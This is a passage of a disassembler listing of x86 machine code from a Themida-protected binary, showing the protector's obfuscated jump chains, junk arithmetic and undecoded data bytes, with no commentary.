loc_552101 push edi jmp loc_5508BD ; --------------------------------------------------------------------------- loc_5541DB: ; CODE XREF: Themida_:0054F760j mov [esp], ecx push 79E0h mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_552B0F ; --------------------------------------------------------------------------- loc_5541F6: ; CODE XREF: Themida_:005537CFj push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] jmp loc_5498C6 ; --------------------------------------------------------------------------- loc_554205: ; CODE XREF: Themida_:loc_54D1EDj ; Themida_:0054DACDj mov eax, esi pop esi pop ebx sub [edi+24h], eax pop eax loc_55420D: ; CODE XREF: Themida_:0054E01Ej sub esp, 4 mov [esp], ebx push ebx mov ebx, 37DB54F6h xor [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 jmp loc_55170F ; --------------------------------------------------------------------------- loc_55422F: ; CODE XREF: Themida_:00551994j push eax jmp loc_548A07 ; --------------------------------------------------------------------------- loc_554235: ; CODE XREF: Themida_:005502D8j mov ecx, 393F38DFh and ecx, 66B22740h not ecx sub ecx, 654F3D2Ch jmp loc_54932A ; --------------------------------------------------------------------------- db 54h, 59h, 0E9h dd 0FFFFD283h ; --------------------------------------------------------------------------- loc_554254: ; CODE XREF: Themida_:0055364Fj pop bx xor bl, al movzx eax, al push dword ptr [edi+eax*4] sub dword ptr [esp], 502040C7h pop eax push edx jmp loc_54BE4F ; --------------------------------------------------------------------------- loc_55426C: ; CODE XREF: Themida_:00548A82j mov esp, [esp] idiv cx push esi mov esi, esp push eax push esi mov esi, 5FE935ADh push esi jmp loc_549632 ; --------------------------------------------------------------------------- dw 0C781h dd 2, 8904EC83h, 0FBE9243Ch, 0FF000005h, 1C8B2434h, 4C48124h dd 53000000h, 0C381E389h, 4, 5304C383h, 42474FFh, 24048F5Bh dd 0A327E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5542BA: ; CODE XREF: Themida_:0055279Dj mov [esp], edi jmp loc_54F593 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048F5Ch, 0E924248Bh dd 0FFFF8278h, 5524048Bh, 0C5815D54h, 4, 0FFB1C3E9h, 0DAF2E9FFh dd 1487FFFFh, 78BCE924h, 2DBBFFFFh, 818447E7h, 5703E4C3h dd 81D32948h, 5703E4EBh, 0CB815A48h, 4F6340FBh, 648BE381h dd 0EB8165B2h, 5B333DCh, 30ABF381h, 0DA015FFFh, 5B2434FFh dd 0FF55B5E9h, 0C3815AFFh, 4, 0FFD94BE9h db 0FFh ; --------------------------------------------------------------------------- loc_554341: ; CODE XREF: Themida_:0054E471j xor eax, ecx jmp loc_55333F ; --------------------------------------------------------------------------- dd offset loc_562F67+1 dd 24148900h, 0FF657AE9h db 0FFh ; --------------------------------------------------------------------------- loc_554355: ; CODE XREF: Themida_:0054CAADj add edi, ecx jmp loc_54EAE1 ; --------------------------------------------------------------------------- loc_55435C: ; CODE XREF: Themida_:00551D8Fj shl ebp, 8 jmp loc_552E34 ; --------------------------------------------------------------------------- loc_554364: ; CODE XREF: Themida_:0054A5ACj jz loc_5538A5 shl eax, 4 js loc_54C970 jmp loc_54DE7F ; --------------------------------------------------------------------------- dd 4797F381h, 0B9514D43h, 1A315584h, 4EEAE981h, 0D4E953FBh dd 33FFFFCDh, 0F7E92434h, 0FFFFFF7Fh, 0A9E92434h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_55439F: ; CODE XREF: Themida_:00549F95j mov ax, [esp] add esp, 2 jmp loc_554534 ; --------------------------------------------------------------------------- loc_5543AE: ; CODE XREF: Themida_:0054FFFFj mov ebp, [esp] push 32A3h mov [esp], edx jmp loc_54ADF3 ; --------------------------------------------------------------------------- loc_5543BE: ; CODE XREF: Themida_:0054EBB3j add ebx, 4 add ebx, 4 jmp loc_548C1C ; --------------------------------------------------------------------------- dd 5E08950h, 4, 651968h, 0E86EE900h, 34FFFFFFh, 24048B24h dd 0FF82F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5543E9: ; CODE XREF: Themida_:0054B7E1j pop esi neg esi jns loc_55290F add esi, 0FFFFFFFFh xor esi, 47E71F5h jge loc_54C2D4 xor esi, 9D1FDBD2h mov edx, esi pop esi add esi, 322D29A2h add esi, edx sub esi, 322D29A2h jmp loc_54F5A0 ; --------------------------------------------------------------------------- db 59h, 83h, 0C4h dd 0E2895204h, 4C281h, 0C2830000h, 24148704h, 0DCE9515Ch db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554437: ; CODE XREF: Themida_:00555E0Fj push dword ptr [esp] pop ecx push esi mov esi, esp push edi jmp loc_54AB4C ; --------------------------------------------------------------------------- loc_554444: ; CODE XREF: Themida_:00551CFEj shr eax, 1 jmp loc_54EAF5 ; --------------------------------------------------------------------------- loc_55444B: ; CODE XREF: Themida_:0055073Fj xor [esp], esi jmp loc_5513AD ; --------------------------------------------------------------------------- loc_554453: ; CODE XREF: Themida_:00554793j mov ebx, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub eax, 3F53091Dh add eax, ebx add eax, 3F53091Dh mov ebx, [esp] add esp, 4 push esi mov esi, 48C072F1h sub ebx, esi jmp loc_54FCB5 ; --------------------------------------------------------------------------- dw 5666h dd 2474FF66h, 71CAE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554496: ; CODE XREF: Themida_:0054C0C0j mov [esp], ecx push 38h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub ecx, 460C1D21h add ecx, edi push edi sub esp, 4 mov [esp], ebx mov ebx, 13937CB8h inc ebx jg loc_5530F3 add ebx, 4EA41D68h inc ebx jnp loc_55451C inc ebx mov esp, [esp] xor [esp], eax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_5544E5: ; CODE XREF: Themida_:00549325j add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_549851 ; --------------------------------------------------------------------------- dw 248Bh dd 4216624h, 1AE99C24h, 68FFFF44h, 15A8h, 0E9241489h, 0FFFF7302h ; --------------------------------------------------------------------------- loc_55451C: ; CODE XREF: Themida_:0054CDCDj ; Themida_:005544D2j add dl, 32h jmp loc_54B334 ; --------------------------------------------------------------------------- loc_554524: ; CODE XREF: Themida_:0054F465j sub dl, 0DFh sub ch, dl mov edx, [esp] add esp, 4 jmp loc_551908 ; --------------------------------------------------------------------------- loc_554534: ; CODE XREF: Themida_:00552747j ; Themida_:005543A9j sub al, 0ABh add cl, al jmp loc_55584F ; --------------------------------------------------------------------------- loc_55453D: ; CODE XREF: Themida_:00552F7Aj mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 jmp loc_554D3C ; --------------------------------------------------------------------------- loc_554552: ; CODE XREF: Themida_:00552CBDj xor [eax], ecx jmp loc_5514F3 ; --------------------------------------------------------------------------- loc_554559: ; CODE XREF: Themida_:005535F0j jmp loc_554B39 ; --------------------------------------------------------------------------- loc_55455E: ; CODE XREF: Themida_:00551B14j mov ebx, 47C4032Eh add ebx, 71AB2A37h sub esp, 4 mov [esp], esi jmp loc_54F616 ; --------------------------------------------------------------------------- loc_554577: ; CODE XREF: Themida_:00550ABAj sub esp, 4 jmp loc_550FC8 ; --------------------------------------------------------------------------- loc_55457F: ; CODE XREF: Themida_:0054DA3Aj push 38D7h jmp loc_54D2E5 ; --------------------------------------------------------------------------- loc_554589: ; CODE XREF: Themida_:00554EC7j mov ebp, 9390FCF8h add ebp, ebx pop ebx jmp loc_551D36 ; --------------------------------------------------------------------------- dw 5F5Ah dd 135FE9h, 4387E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5545A2: ; CODE XREF: Themida_:005508B3j sub bl, dh pop edx sub bl, al push ax mov al, 0E7h add bl, al pop ax push cx mov cl, 26h jmp loc_553AB0 ; --------------------------------------------------------------------------- dd 2474FF51h, 240C8B04h, 8F04C483h, 0E95C2404h, 0FFFFBE52h ; --------------------------------------------------------------------------- loc_5545CC: ; CODE XREF: Themida_:0054E013j push 4 pop esi add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] shr ecx, 0Ah push esi push ecx jmp loc_54AAC8 ; --------------------------------------------------------------------------- db 0ACh dd 0B5517C2Ch, 59E828C8h, 0F9BE9h db 0 ; --------------------------------------------------------------------------- loc_5545F9: ; CODE XREF: Themida_:0054D191j sub eax, 0DC3ADF9Bh push esi jmp loc_54A337 ; --------------------------------------------------------------------------- loc_554604: ; CODE XREF: Themida_:00549E5Aj ; Themida_:00551C4Bj jmp loc_548929 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8124048Bh, 4C4h, 6A3F6800h, 1C890000h, 525B5424h, 468h dd 0D3015A00h, 5724148Bh, 0C781E789h, 4, 4BE56h, 0F7010000h dd 243C875Eh, 0C544E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554646: ; CODE XREF: Themida_:00555F03j push ebx xor dword ptr [esp], 13F55213h pop edx xor edx, 13F55213h mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and eax, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or edx, eax shl edx, 1 jmp loc_554E0E ; --------------------------------------------------------------------------- loc_554689: ; CODE XREF: Themida_:0054DDAEj push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_54BD30 ; --------------------------------------------------------------------------- dd 24048B66h, 52595451h, 4BAh, 5AD10100h, 0B7DDE955h, 0B850FFFFh dd 2, 0FFA251E9h db 0FFh ; --------------------------------------------------------------------------- loc_5546B9: ; CODE XREF: Themida_:005541BCj shl ebx, 5 jnp loc_54EAC7 sub ebx, 43EB6CA2h push ebx sub dword ptr [esp], 209B66BCh mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, 209B66BCh sub esi, 78B43484h jmp loc_5524AC ; --------------------------------------------------------------------------- db 81h dd 0F104246Ch, 59182C6Bh, 0FF4224E9h db 0FFh ; --------------------------------------------------------------------------- loc_554705: ; CODE XREF: Themida_:0054BF9Ej pop dword ptr [esp] pop esp mov ax, [esp] push esi push esp pop esi push edi mov edi, 1EE444EDh push ebx mov ebx, 4BB67D4Bh sub edi, 4103665Dh sub edi, ebx add edi, 4103665Dh pop ebx push ebp jmp loc_54C540 ; --------------------------------------------------------------------------- db 29h, 0D8h, 5 dd 22A4788Bh, 594ABD55h, 0E80111FBh, 10E9055Dh, 35E92E71h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55474B: ; CODE XREF: Themida_:0054D6A7j add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] or ebx, ebx jnz loc_54EFE4 push ebx push 55C4h mov [esp], esp add dword ptr [esp], 4 jmp loc_54F529 ; --------------------------------------------------------------------------- loc_554774: ; CODE XREF: Themida_:005550EBj push edi jmp loc_555838 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFF9863h ; --------------------------------------------------------------------------- loc_554780: ; CODE XREF: Themida_:005531A8j sub [esp], ebp push dword ptr [esp] pop ebp add esp, 4 xor ebp, 0ABC5BE61h jmp loc_554453 ; --------------------------------------------------------------------------- dd 0BE04FE34h, 0E958C500h, 0FFFF8CB3h, 259B5BDh, 5DE90160h dd 0FF56C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5547B1: ; CODE XREF: Themida_:00549A10j sub eax, 19541A9Ah js loc_5494FE neg eax jl loc_54DB24 shr eax, 6 jmp loc_552E34 ; --------------------------------------------------------------------------- dd 0F48861B6h db 5Ah, 53h ; --------------------------------------------------------------------------- loc_5547D2: ; CODE XREF: Themida_:00553A7Fj pop ecx mov ebx, [esp] push ebx push esp pop ebx push 490Bh mov [esp], ebp mov ebp, 4 jmp loc_548CA3 ; --------------------------------------------------------------------------- db 56h dd 468h, 6055E00h, 0E975AE13h, 0FFFFC926h ; --------------------------------------------------------------------------- loc_5547FC: ; CODE XREF: Themida_:loc_54F93Aj sub ah, 57h mov bl, ah pop eax and al, bl mov bx, [esp] jmp loc_554CFA ; --------------------------------------------------------------------------- loc_55480D: ; CODE XREF: Themida_:005497B4j mov ebp, 25457F79h add dword ptr [esp+4], 627A0A60h jmp loc_553266 ; --------------------------------------------------------------------------- db 0F6h dd 0E99C241Ch, 0FFFF4101h, 240C8B66h, 815E5456h, 4C6h dd 5625E900h, 34FFFFFFh, 0D32DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554842: ; CODE XREF: Themida_:loc_54F80Aj push ebx jmp loc_5509F5 ; --------------------------------------------------------------------------- dd 4C4815Fh, 0E9000000h, 0FFFF4556h ; --------------------------------------------------------------------------- loc_554854: ; CODE XREF: Themida_:0054E1B8j pop ebx push ecx mov ch, 0E1h sub ch, 0B4h shr ch, 8 shr ch, 4 xor ch, 0C9h xor ch, 0A3h sub al, ch jmp loc_553D58 ; --------------------------------------------------------------------------- loc_55486E: ; CODE XREF: Themida_:005557DEj and ebx, 37E83D19h jmp loc_54B2E7 ; --------------------------------------------------------------------------- loc_554879: ; CODE XREF: Themida_:00552B5Bj mov edi, ecx pop ecx and ecx, edi mov edi, [esp] push 2210h mov [esp], edi jmp loc_54AABB ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 248B2404h, 0AF0F6624h, 9C5166C8h, 0FF4084E9h db 0FFh ; --------------------------------------------------------------------------- loc_5548A5: ; CODE XREF: Themida_:0054FBA3j push 2CFAh mov [esp], ebx mov ebx, 65B0E31h mov ecx, 160E195Fh sub ecx, ebx mov ebx, [esp] add esp, 4 shl ecx, 5 jns loc_54E997 or ecx, 399F30CBh jz loc_550ABF not ecx inc ecx push edx mov edx, 7B3536E0h jmp loc_54F6E1 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0FFC5A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5548ED: ; CODE XREF: Themida_:0054B7BAj mov ebx, 4 sub ecx, 590052CAh jmp loc_54D3CD ; --------------------------------------------------------------------------- loc_5548FD: ; CODE XREF: Themida_:00548F95j ; Themida_:00555A1Dj pop ebx add cx, bp jmp loc_54F85A ; --------------------------------------------------------------------------- loc_554906: ; CODE XREF: Themida_:005555BCj add esp, 4 sub dh, 90h jmp loc_554BDF ; --------------------------------------------------------------------------- loc_554911: ; CODE XREF: Themida_:0054D3BBj pop edx pop ecx jmp loc_54A4BD ; --------------------------------------------------------------------------- dd 8244481h, 688269EFh, 24448158h, 0E54D6704h, 2444011Bh dd 246C8104h, 0E54D6704h, 6850561Bh, 28696A8Ah, 8324048Bh dd 60D04C4h, 2D73C77Fh, 50974C42h, 8158C689h, 7808246Ch dd 0E97F3673h, 0FFFF4F73h ; --------------------------------------------------------------------------- loc_55495C: ; CODE XREF: Themida_:loc_54F4D4j inc ebx jnp loc_54B84A jmp loc_555E07 ; --------------------------------------------------------------------------- dd 8853E789h, 55DA8BCAh, 0C02B62BDh, 0ACE58167h, 5223B217h dd 800324BAh, 5AD53123h, 0B83EF81h, 0EF015335h, 0B83C781h dd 835D5335h, 3C8704EFh, 0B6E95C24h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55499F: ; CODE XREF: Themida_:0054A438j jmp loc_553220 ; --------------------------------------------------------------------------- loc_5549A4: ; CODE XREF: Themida_:0054DA76j add edx, 4 push ebp jmp loc_54ECC1 ; --------------------------------------------------------------------------- loc_5549B0: ; CODE XREF: Themida_:00550876j sub edi, ebp add edi, 7CB31CCAh mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_549D70 ; --------------------------------------------------------------------------- db 5Ch dd 0B8240489h, 7C952A0Fh, 0FFBB94E9h, 241C89FFh, 68515B54h dd 7907011Fh, 0FFB779E9h db 0FFh ; --------------------------------------------------------------------------- loc_5549ED: ; CODE XREF: Themida_:00549EB1j dec ebx jno loc_5497F4 shl ebx, 1 add ebx, 69818673h mov bh, dl pop edx push ebx mov ebx, esp jmp loc_5534AF ; --------------------------------------------------------------------------- loc_554A07: ; CODE XREF: Themida_:00553FADj push edi mov edi, 2C5A1E70h neg edi shr edi, 8 dec edi add edi, 0FF2C5A21h sub esi, edi pop edi push ecx mov ecx, 1 sub esi, ecx pop ecx add esi, 86FBB140h sub edx, esi mov esi, [esp] add esp, 4 push ebp push ecx mov ecx, 1BB54045h mov ebp, 81118B26h sub ebp, ecx pop ecx or ebp, 58E43B8Fh or ebp, 2B2B20B2h sub ebp, 20C43CF7h sub ebp, 4E8DECC7h xor edx, ebp pop ebp mov esi, edx pop edx and eax, esi jmp loc_54F361 ; --------------------------------------------------------------------------- dw 0F781h dd 6A47778Fh, 8108EFC1h, 1F2F01CFh, 14EF8148h, 89142E35h dd 872AE9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554A86: ; CODE XREF: Themida_:005558F7j jmp loc_548929 ; --------------------------------------------------------------------------- db 80h dd 850F3DCAh, 0FFFF5195h, 0FE0EB551h, 0A4ED80C5h db 0B7h, 4Dh, 5Bh ; --------------------------------------------------------------------------- loc_554A9F: ; CODE XREF: Themida_:00550E06j mov ecx, [esp] push ebx jmp loc_549B2A ; --------------------------------------------------------------------------- loc_554AA8: ; CODE XREF: Themida_:0055400Ej inc ecx jge loc_54F28F add ecx, 0EC3F36h jmp loc_54C111 ; --------------------------------------------------------------------------- dw 2C8Bh db 24h, 50h ; --------------------------------------------------------------------------- loc_554ABE: ; CODE XREF: Themida_:0054B62Ej mov esi, 790E6BA1h mov ebp, 3D2313BEh sub ebp, esi pop esi sub ecx, ebp pop ebp xor eax, ecx mov ecx, [esp] add esp, 4 jmp loc_54FCA0 ; --------------------------------------------------------------------------- db 54h dd 0FF44FBE9h, 0C8B66FFh, 59545124h, 7195E956h, 575AFFFFh dd 0FF4AB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_554AF5: ; CODE XREF: Themida_:005498CAj mov edx, esp jmp loc_548F9A ; --------------------------------------------------------------------------- dd 240C8B66h, 53E78957h, 6E0D55BBh, 2FE3817Fh, 0D15C286Ch dd 4EC81EBh, 89000000h, 0DFBE2434h, 0D10F0E15h, 6EEC1E6h dd 2576CE81h, 0DEF70D22h, 0C681D6F7h, 0FD19A615h, 0FF6CDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_554B39: ; CODE XREF: Themida_:loc_554559j shl ecx, 3 and ecx, 2AE7133Ch push eax mov eax, 412D0FFDh xor ecx, eax pop eax xor ecx, ebp pop ebp add [esp+4], ecx pop ecx push dword ptr [esp] pop ecx jmp loc_5512F3 ; --------------------------------------------------------------------------- dd 98B551h, 240C8BE8h, 0FFF029E9h db 0FFh ; --------------------------------------------------------------------------- loc_554B69: ; CODE XREF: Themida_:0054DB1Fj push 0 jmp loc_5534DB ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 4EC8104h, 89000000h, 28E92434h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B87: ; CODE XREF: Themida_:00548A46j push ebx jmp loc_54AD02 ; --------------------------------------------------------------------------- loc_554B8D: ; CODE XREF: Themida_:00553BBCj not cx add cx, 1AE2h jmp loc_555065 ; --------------------------------------------------------------------------- loc_554B9A: ; CODE XREF: Themida_:0054A563j pop eax jmp loc_5550F0 ; --------------------------------------------------------------------------- dd 240C8B66h, 8904EC83h, 20E92414h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554BAF: ; CODE XREF: Themida_:0055220Ej add eax, edx jmp loc_54B6B5 ; --------------------------------------------------------------------------- loc_554BB6: ; CODE XREF: Themida_:005538D2j push esi mov esi, 3B3F3D1Dh add esi, 0E3B40E6h push eax mov eax, 0D93530Eh and esi, eax mov eax, [esp] add esp, 4 dec esi or esi, 6F920947h jmp loc_54DE8D ; --------------------------------------------------------------------------- loc_554BDF: ; CODE XREF: Themida_:0055490Cj add dh, ch add dh, 90h pop ecx xor al, dh pop edx jmp loc_54F8D2 ; --------------------------------------------------------------------------- loc_554BED: ; CODE XREF: Themida_:0054E08Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_551623 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF9FAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_554C09: ; CODE XREF: Themida_:00554D10j mov ebx, 73600F3h jmp loc_54FE21 ; --------------------------------------------------------------------------- loc_554C13: ; CODE XREF: Themida_:00555839j pop edi add edi, 4 push 5DCDh mov [esp], edx mov edx, 4 push ecx jmp loc_54A7FE ; --------------------------------------------------------------------------- db 81h, 0F6h, 0E1h dd 0E9154A3Fh, 0FFFFCEE1h ; --------------------------------------------------------------------------- loc_554C38: ; CODE XREF: Themida_:0054E15Cj xor [esp], edi xor edi, [esp] mov esp, [esp] push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov cl, dl mov [edi+eax*4+1], cl push dword ptr [esp] mov ecx, [esp] jmp loc_553616 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0FF8C36E9h, 4C481FFh, 29000000h, 4EC81D8h, 89000000h dd 78BD242Ch, 143F052h, 242C8BE8h, 38376852h, 47E90000h dd 8BFFFF77h, 0C481241Ch, 4, 699C68h, 240C8900h, 4CE95266h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554CAB: ; CODE XREF: Themida_:0054A72Dj mov ecx, 13264941h mov dword ptr [ebx], 13264941h sub [ebx], ecx jmp loc_5506AD ; --------------------------------------------------------------------------- db 52h, 0BAh, 0CBh dd 8135C247h, 4F3CA2C2h, 50D2F73Ah, 530374B8h, 4B8A2551h dd 1E0D1A48h, 48023326h, 0BE4EE948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554CE2: ; CODE XREF: Themida_:00555F6Ej mov dh, al pop eax mov [edi+eax*4], dh mov edx, [esp] jmp loc_54F541 ; --------------------------------------------------------------------------- dd 663268h, 54CFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554CFA: ; CODE XREF: Themida_:00554808j push eax mov eax, esp add eax, 4 push ebp mov ebp, 53B9297Fh push 295Bh mov [esp], ebx jmp loc_554C09 ; --------------------------------------------------------------------------- loc_554D15: ; CODE XREF: Themida_:0054BF74j pop ebp xor esi, 27756106h jmp loc_5523C9 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0EBh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D27: ; CODE XREF: Themida_:0054F639j mov edi, 4BB2237Dh mov edx, 0B44DDC87h sub edx, 25D47258h jmp loc_54A1F0 ; --------------------------------------------------------------------------- loc_554D3C: ; CODE XREF: Themida_:0055454Dj jmp loc_548929 ; --------------------------------------------------------------------------- loc_554D41: ; CODE XREF: Themida_:0054CEBFj add eax, ebp add eax, 143C60F5h jmp loc_555103 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 51000000h, 0C2243481h, 58357D7Bh, 0DAFE9h db 0 ; --------------------------------------------------------------------------- loc_554D61: ; CODE XREF: Themida_:0054A8CAj ; Themida_:00552924j neg edi shl edi, 6 sub edi, 12E343B8h jmp loc_553EFD ; --------------------------------------------------------------------------- db 5Dh, 0FFh, 34h dd 0C4835924h, 55D0F704h, 0D59219BDh, 5DE8011Ch, 0FF3BA0E9h dd 148966FFh, 0B2525124h, 7EAC08Ch, 425F890Fh, 0F280FFFFh dd 5AD188B9h, 0E905E9C0h, 919h ; --------------------------------------------------------------------------- loc_554DA8: ; CODE XREF: Themida_:0054B990j mov ecx, 0FFFFFFFFh add esi, ecx pop ecx shl esi, 6 jmp loc_54EA7B ; --------------------------------------------------------------------------- loc_554DB8: ; CODE XREF: Themida_:0054F2E7j mov ebp, [esp] add esp, 4 jmp loc_549226 ; --------------------------------------------------------------------------- dw 0C30h dd 5D15E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554DCE: ; CODE XREF: Themida_:00551401j add esi, 0FE93D1D4h jmp loc_554E69 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 42474FFh, 83241C8Bh, 48F04C4h, 24248B24h, 2424D366h dd 3B33E99Ch, 0C89FFFFh, 16824h, 9590000h, 30E91C4Fh, 89FFFFF6h dd 0C4C1E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554E0E: ; CODE XREF: Themida_:00554684j push 5836h mov [esp], eax jmp loc_55573F ; --------------------------------------------------------------------------- loc_554E1B: ; CODE XREF: Themida_:00555C91j mov eax, 8F55A020h jmp loc_54B7E6 ; --------------------------------------------------------------------------- loc_554E25: ; CODE XREF: Themida_:00551921j add esi, edi jmp loc_54F91C ; --------------------------------------------------------------------------- loc_554E2C: ; CODE XREF: Themida_:0055050Cj pop edi add eax, ecx mov ecx, [esp] add esp, 4 sub eax, ebx jmp loc_54DB69 ; --------------------------------------------------------------------------- dd 6824148Bh, 0BAFh, 54241489h, 0FFA5EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_554E4D: ; CODE XREF: Themida_:0054F9AEj mov bx, [esp] push edi jmp loc_55387E ; --------------------------------------------------------------------------- loc_554E57: ; CODE XREF: Themida_:005494F9j sub edi, 2 xchg edi, [esp] mov esp, [esp] mov [esp], ax jmp loc_54D2AF ; --------------------------------------------------------------------------- loc_554E69: ; CODE XREF: Themida_:00554DD4j add edi, esi pop esi sub edi, 0B38A5087h add ebx, 494C6A05h add ebx, edi sub ebx, 494C6A05h pop edi push eax mov eax, 2 add ebx, eax mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5520EA ; --------------------------------------------------------------------------- loc_554EA0: ; CODE XREF: Themida_:0054C951j push esi pop ecx jmp loc_54AE14 ; --------------------------------------------------------------------------- loc_554EA7: ; CODE XREF: Themida_:00553E2Fj mov edx, esp add edx, 4 jmp loc_54F6A0 ; --------------------------------------------------------------------------- loc_554EB4: ; CODE XREF: Themida_:00549792j add eax, 4 push 313Ch mov [esp], ebp push ebx mov ebx, 75575276h jmp loc_554589 ; --------------------------------------------------------------------------- dd 9DBEE81h, 0EE811335h, 0B80C02h, 4C6815Fh, 87000000h dd 0F6E92434h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554EE7: ; CODE XREF: Themida_:00553420j mov eax, [esp] push 714h mov [esp], esi push 56BCh mov [esp], esp add dword ptr [esp], 4 jmp loc_54B8F5 ; --------------------------------------------------------------------------- loc_554F03: ; CODE XREF: Themida_:0054CA12j ; Themida_:00551467j inc ebx shl ebx, 6 jmp loc_54E37D ; --------------------------------------------------------------------------- dd 4C581h, 0ED830000h, 242C8704h, 2434895Ch, 0FF8213E9h db 0FFh ; --------------------------------------------------------------------------- loc_554F21: ; CODE XREF: Themida_:0054D078j xchg eax, [esp] mov esp, [esp] jmp loc_553A29 ; --------------------------------------------------------------------------- loc_554F2C: ; CODE XREF: Themida_:00550627j add esi, 0CCFF0B5Fh add eax, esi pop esi pop edx push small word ptr [eax] jmp loc_548929 ; --------------------------------------------------------------------------- dw 48E9h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F43: ; CODE XREF: Themida_:00548E2Aj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 713Ah mov [esp], edi push 4A4Dh mov [esp], esp add dword ptr [esp], 4 jmp loc_54AC64 ; --------------------------------------------------------------------------- dd 24048966h, 0FF39B4E9h, 34895CFFh, 348B5424h, 4C48124h dd 81000000h, 4C6h, 75BB5300h, 0C164E15Ch, 0B8E906E3h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F97: ; CODE XREF: Themida_:00550075j jmp loc_555429 ; --------------------------------------------------------------------------- loc_554F9C: ; CODE XREF: Themida_:005516D9j push dword ptr [esp] pop ecx jmp loc_54FB8B ; --------------------------------------------------------------------------- loc_554FA5: ; CODE XREF: Themida_:005499E8j mov [esp], edi xor dword ptr [esp], 11374424h pop eax jmp loc_54D2CD ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0E9525854h, 0FFFF75C0h, 31241C33h, 1C33241Ch, 4D6CE924h dd 0D7F7FFFFh, 5207EFC1h, 2405BAh, 0D3F2813Dh, 0C10F457Dh dd 0E2C102E2h, 8AEA8104h, 1247322h, 0F7815AD7h, 0D7FE5067h dd 0E95FFB29h, 0FFFFD613h ; --------------------------------------------------------------------------- loc_554FFC: ; CODE XREF: Themida_:0054FE47j push 680Ch mov [esp], ebx push 7D59h jmp loc_552064 ; --------------------------------------------------------------------------- loc_55500E: ; CODE XREF: Themida_:0054A658j push edi mov edi, 0FFED2BCCh sub ebp, edi pop edi sub esi, 484B69D2h add esi, ebp add esi, 484B69D2h pop ebp push edx jmp loc_551916 ; --------------------------------------------------------------------------- dd 16E9DBB2h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555033: ; CODE XREF: Themida_:0054C473j mov [esp], eax xchg ebx, [esp] jmp loc_54D786 ; --------------------------------------------------------------------------- dw 0C381h dd 535A0723h, 0FFFAA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_555049: ; CODE XREF: Themida_:00552918j ; Themida_:005557E4j add esp, 4 jmp loc_549F10 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 4C08300h, 5C240487h, 0FFD21BE9h db 0FFh ; --------------------------------------------------------------------------- loc_555065: ; CODE XREF: Themida_:00554B95j jnz loc_555A15 sub cx, 803Ch sub cx, bx mov ebp, esi xor ah, 22h mov cl, ah pop eax push edx jmp loc_54E8FE ; 